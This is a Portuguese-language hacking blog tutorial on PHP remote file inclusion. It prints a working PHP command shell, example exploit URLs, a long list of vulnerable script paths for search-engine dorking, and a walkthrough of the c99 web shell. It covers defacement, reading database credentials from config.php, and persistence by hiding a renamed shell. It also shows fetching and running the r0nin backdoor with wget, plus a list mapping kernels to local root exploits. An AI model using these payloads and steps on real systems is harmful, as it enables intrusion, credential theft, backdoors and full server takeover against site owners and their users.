PHP INJECTION
PHP Injection o guia definitivo
PHP Injection também é conhecido como RFI ( Remote File Include) no qual permite a execução de arquivos remotos.
Quando o programador de PHP está desenvolvendo uma pagina de internet ele esquece de alguns detalhes importantes para a segurança que são:
•Restringir a execução de arquivos remotos, ou seja, que estejam fora do servidor
•No arquivo de configuração do PHP o php.ini em um dos campos se estiver safe mode : OFF está correndo risco pois o atacante poderá alterar quase todos os arquivos.
•Deixar o arquivo de conexão com o banco de dados em um local de fácil acesso e com um nome fácil de identificar,na sua maioria config.php
•Desabilitar as funções system, exec, passthru, shell_exec
Como eu havia dito acima o PHP Injection permite a execução de arquivos remotos, vamos ver porque isso acontece.
O PHP existe algumas funções para inclusão de arquivos,as mais usadas são system(), passthru(), shell() shell_exec() etc (elas podem executar comandos do sistema)..
Vamos a um exemplo.
Suponhamos que em uma pagina existe o seguinte trecho de código:
Código:
main($dir. “arquivo”)
Bem, aparentemente a sintaxe está correta porem ele não impede que seja executado arquivo de fora do servidor.
Para explorar na url ficaria da seguinte maneira :
http://www.sitevitimar.com/index.php?dir=cmd
cmd é um arquivo feito em php que pode ser salvo com qualquer extensão .gif , txt,jpg etc.. ele é hospedado em algum endereço da internet e no seu código fonte possui diversas funções php que permitem executar comandos.Um exemplo básico de cmd é mostrado abaixo.
Código:
<?
// CMD – To Execute Command on File Injection Bug ( gif – jpg – txt )
if (isset($chdir)) @chdir($chdir);
ob_start();
passthru(“$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp”);
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(“>”, “>”, str_replace(“<”, “<”, $output));
?>
Como podem observar ela usa a função passthru para executar comandos, agora você sabe da importância de bloquear essas funções,agora vamos ver como um atacante atacaria seu site:
http://www.sitvitima.com/index.php?dir= … if?&cmd=id
se der certo vai aparecer uid=99(nobody) gid=98(nobody) groups=98(nobody) ou algo parecido, os comandos são em linux se substituir o comando id por ls ele vai listar todos os arquivos do diretório atual e se usar o comando pwd ele vai mostrar qual é o diretório atual e por assim por diante.
Shell e CMD é a mesma coisa?
CMD é o arquivo que contem o código malicioso e shell é o site vulnerável, resumidamente é isso.
Agora vamos ver como funciona na pratica o PHP Injection .
29.1 -Strings
Strings são comandos que você coloca em sites de busca geralmente google para caçar sites vulneráveis.vejamos a string mais conhecida do mundo basta ir no google e colocar inurl:”index.php?page=” ele vai listar diversos sites que possui uma pagina php e com a variável “page” basta acrescentar o endereço da cmd após o page= e verificar se o site está vulnerável ou não se estiver deve ser encaminhado um e-mail ao administrador do site informando da possível falha.
Mas existem outras strings?
Sim existem dezenas ou centenas de strings, segue uma relação abaixo:
Código:
bug_sponsorship_list_view_inc.php?t_core_path=
classes.php?LOCAL_PATH=
coppermine/themes/maze/theme.php?THEME_DIR=
default.php?page=
demo/includes/init.php?user_inc=
derniers_commentaires.php?rep=
e107/e107_handlers/secure_img_render.php?p=
extensions/moblog/moblog_lib.php?basedir=
forum/include/common.php?pun_root=
Gallery/displayCategory.php?basepath=
GradeMap/index.php?page=
inc/shows.inc.php?cutepath=
inc/tell_a_friend.inc.php?script_root=
include/db.php?GLOBALS[rootdp]=
include/livre_include.php?no_connect=lol&chem_absolu=
include/new-visitor.inc.php?lvc_include_dir=
includes/db.php?phpbb_root_path=
includes/header.php?systempath=
index.inc.php?PATH_Includes=
index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
index.php?action=
index.php?cat=
index.php?conteudo=
index.php?from_market=Y&pageurl=
index1.php?p=
index2.php?content=
index2.php?includes_dir=
index2.php?x=
jaf/index.php?show=
index.php?user=english&l=1&t=1&a=
library/editor/editor.php?root=
library/lib.php?root=
main.php?page=
main.php?x=
modules/4nAlbum/public/displayCategory.php?basepath=
modules/agendax/addevent.inc.php?agendax_path=
modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
modules/coppermine/include/init.inc.php?CPG_M_DIR=
modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
modules/coppermine/themes/default/theme.php?THEME_DIR=
modules/mod_mainmenu.php?mosConfig_absolute_path=
modules/My_eGallery/public/displayCategory.php?basepath=
modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=
modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=
modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
myPHPCalendar/admin.php?cal_dir=
nphp/nphpd.php?nphp_config[LangFile]=
path_to_athena/athena.php?athena_dir=
path_to_phpgreetz/content.php?content=
path_to_qnews/q-news.php?id=
pivot/modules/module_db.php?pivot_path=
poll/admin/common.inc.php?base_path=
pollvote/pollvote.php?pollname=
protection.php?action=logout&siteurl=
shoutbox/expanded.php?conf=
sources/post.php?fil_config=
vCard/admin/define.inc.php?match=
yabbse/Sources/Packages.php?sourcedir=
zentrack/index.php?configFile=
phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=
Essas são apenas algumas pode ser encontra uma lista completa em a ki mesmo no invasão.
A cmd mais usada é a c99 criada pelo Captain Crunch Security Team, mas existem diversas r57, php shell, R9 etc…
29.2 – Conhecendo a C99 a cmd mais conhecida e usada no universo hacker
O endereço do site foi editado por questão de segurança
A c99 é a mais usada pela sua simplicidade sem muitos conhecimentos de comandos unix . Ela é dividida em 4 cores que se deve prestar atenção.
Amarelo –> arquivo que esta sendo usado ou explorado.
Verde –> tem permissão completa, leitura,escrita e gravação
Branco –> acesso somente a leitura
Vermelho –> acesso negado , não tem permissão de nada muito menos leitura.
4º Continuando com o passo a passo ele observa primeiramente o SAFE MODE se está ON ou OFF
ON –> quer dizer que não tem permissão de escrita
OFF –> Teoricamente não acesso quase que completo,mas as vezes pode aparecer safe mode off e na verdade não permitir escrita
No caso abaixo está sefe mode off
OBS: Pode acontecer em aparecer Safe Mode OFF mas na verdade não está com permição completa,quando tentar fazer alguma coisa na shell vai apresentar erro ou ser redirecionado para outra pagina do site.
5º O próximo passo é identificar a versão do kernell se é um sistema unix ou windows
A parte de cima da c99 nos informa varias coisas importantes
Versão do Apache (servidor web) ,kernell usado, Sistema operacional, diretório atual , tamanho do disco ( teoricamente quanto maior o tamanho do disco mais potente é a shell).
Nos diz também as permissões dos arquivos,abaixo mostra 3 botões na ordem da esquerda para direita (Informações, editar,download)
A c99 possui também algumas ferramentas:
A mais usada é a SQL que é usada para conectar ao banco de dados.
No final da pagina possui ainda mais algumas opções:
Vamos analisar cada seção:
Enter –> Nessa parte é suada para executar comandos unix principalmente wget
Select–> possui uma listagem de comandos pré definidos como procura de arquivos de configuração, ver ip do servidor, listar arquivos passwd etc..
Search –> faz a busca por algum arquivo
Upload –> o nome já diz tudo faz upload de algum arquivo seu para o servidor
Make Dir –> cria um diretório
Make File –> cria um arquivo
Go Dir –> acessa um diretório
Go File –> acessa um determinado arquivo.
Agora que conhece toda a c99 vamos voltar ao raciocínio de um ataque.
29.3-ATAQUE INICIANTE
1º A principio ele pode usar um scaner de vulnerabilidades e nele indicar a vulnerabilidade de RFI , pode ir no google e testar site por site até achar um site vulnerável ( isso mesmo trabalho manual e cansativo), pode usar scans que geram lista de sites, o mais usado é o xroot.
2º testa algumas strings algumas citadas anteriormente.
3º o invasor ele vai tentar ir direto editar o arquivo index.php , ou index.html, se ele não conseguir ele vai na opção upload e faz upload da própria index.,não conseguindo ele vai tentar executar o comando wget http://www.enderecodosite.com/index.html para tentar baixar a index pro servidor, não conseguindo ele desiste.
29.4-ATAQUE INTERMEDIARIO (deface pelo Banco de Dados)
Bem se ele não conseguir um deface normal o que ele faz? Nesse nível de atacante ele já não desiste tão facilmente ele vai procurar o arquivo de conexão do banco de dados geralmente config.php
1º localizou o arquivo config.php
2º visualizou os dados para conectar ao SQL
Agora ele já sabe o host, nome do banco de dados, nome de usuário e senha.
4º ele vai até o menu SQL
E vai aparecer as opções abaixo, basta preencher com os dados obtidos no arquivo config.php:
Após disso já vai estar conectado ao banco de dados podendo ver todos usuários e senha
A esquerda clicando na tabela phpbb_users vai abrir todos os usuários e senhas.
Como podem observar as senhas estão criptografadas no formato MD5 é uma proteção do phpbb, mas dependendo do sistema nem sempre as senhas vão estar criptografadas.
Navegando pelas tabelas ele pode alterar qualquer valor e mudar a index no caso de um fórum.
29.5-ATAQUE AVANÇADO
Esse ponto não necessariamente tem que ser considerado avançado,mas o que poucos pensam é em garantir o retorno do invasor ao site,existem duas formas de garantir isso:
•Fazendo upload da c99.php para o servidor
•Implantando um backdoor tipo r0nin
29.5.1 Garantindo o retorno ao servidor
Fazendo upload da c99.php para o servidor
Veremos a mais usada que é também a mais simples, que é fazer upload a c99 para o servidor,mas afinal qual é a utilidade disso?
Sabemos que php injection é explorado através de erros de programação do programador na hora de criar uma pagina de internet,o que acontece é que a qualquer momento o administrador do site pode corrigir esse erro então o invasor não terá mais acesso ao servidor,por isso a importância para o invasor deixar uma outra forma de entrar garantida, os invasores mais experientes não deixam a c99 com o mesmo nome, eles renomeiam para qualquer coisa que faça com que o administrador passe desapercebido ex: include.php, sys.php, restore.php,system.php etc… é de suma importância que o administrador saiba de cada arquivo e processo que consta no site dele.
Muitos invasores entram, alteram uma pagina e saem, mas os mais experientes usam o servidor para ataque DDos,rodam scans de IRC e BNC , por isso que eles sempre voltam nos servidores invadidos.
O motivo que os mais iniciantes não fazem essa ação é porque não entendem a estrutura de um servidor, onde ficam as pastas do site e como acessar o c99 depois de feito o upload.
Geralmente o diretório que fica o site é www , web , html ,htdocs etc.. Essas são as pastas principais do servidor onde ficam a pagina inicial a index.html ou index.php
Um bom administrador não vai fazer o site e deixar todos arquivos no mesmo diretório certo? Ele vai criar varias pastas para manter a organização e para acessar essas pastas basta acessar o endereço delas no navegador ex:
Um administrador criou uma pasta imagens para que toda figura que fosse utilizada em seu site fosse guardada nela sendo assim evitaria erros e ficaria de forma mais organizada.Agora vamos ver como ficaria a estrutura:
http://www.site.com.br/imagens/
Agora caso o invasor conseguisse de alguma forma invadir o site bastaria colocar a c99 dentro da pasta imagens (se tivesse permissão) e acessar ela pelo endereço no navegador
http://www.site.com/imagens/c99.php
Dessa forma ele poderia ter acesso ao servidor quando quisesse, mesmo se o administrador tivesse consertado a falha de RFI.
Como podem observar na imagem acima o invasor entrou na pasta /admin/backup/ e fez upload da c99.php renomeada para a.php e depois acesso o endereço na url http://www.site.com/admin/backup/a.php
Muito simples né?
Esse nível de ataque não é para qualquer um tem que ter bastantes conhecimentos principalmente de comandos unix , nessa etapa o invasor não quer apenas um simples deface ele quer rootar todo o servidor ou seja quer virar root (administrador) do sistema, nessa etapa o invasor quer muito mais:
•roda backdoors para acesso ssh ou telnet
•fazem conexão reversa
•usam exploits locais para elevar seu privilegio a root
•usam o servidor para ataque DDOS
•rodam scan de irc para achar sites vulneráveis
Esses foram os principais motivos para um ataque desse nível, agora vamos ver cada item no decorrer do livro.
29.5.2 – Rodando Backdoor em Sistemas Unixs ( r0nin)
Vamos partir do conceito que você já sabe como explorar php injection
Na parte que executa comandos terá que primeiramente mandar um backdoor o mais conhecido é o r0nin no caso vamos usar o comando wget + endereço hospedado r0nin
Você será redirecionado para a tela abaixo no qual a janela de baixo você digita o comando e a de cima você verifica a resposta do comando.
Depois confirme se realmente o r0nin foi para o servidor
Agora precisamos dar permissão para ser executado com o comando chmod 777 r0nin2
o Comando chmod não gera resposta ,logo não irá apresentar resultado na janela acima então volta na listagem dos diretórios e veja se está com permissão completa
Após disso basta executar o comando./r0nin2 que apresentará a resposta abaixo:
A responsta completa do r0nin é :
,–. | o
,-.-.| |,—.|— .. ,
| | || || | | ><
` ‘ ‘`–’` `—’`’ `
PsychoPhobia Backdoor v3 by m0rtix is starting…OK, pid = 1706
Shell on: 9997 User: www-data UID: 33
Name: /sbin/syslogd (Masked in PS! ) v: = Linux seahorse 2.6.8-2-386
Rootab !! use: expand_stack, Krad(if 2004) !
Como podem observar ele abre a porta 9997
Agora para confirmar se tudo ocorreu bem (bem só se foi pra você porque para o admin…. ) basta ir no menu Select da C99 e clicar em show opened port
Agora ele vai listar todas as portas abertas no servidor, na verdade a c99 estará usando o comando netstat -an | grep -i listen
Tente execultar o ping e Teste tbm o telnet
Se der certo vai aparecer a janela abaixo:
Para ficar um ambiente mais agradável utilize o comando bash –i
Agora basta usar o exploit local para elevar seu privilégio a root,veja na listagem abaixo os kernels que da pra rootar .
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
http://knxhackers.wordpress.com/
sábado, 26 de outubro de 2013
Assinar:
Postar comentários (Atom)
0 comentários:
Postar um comentário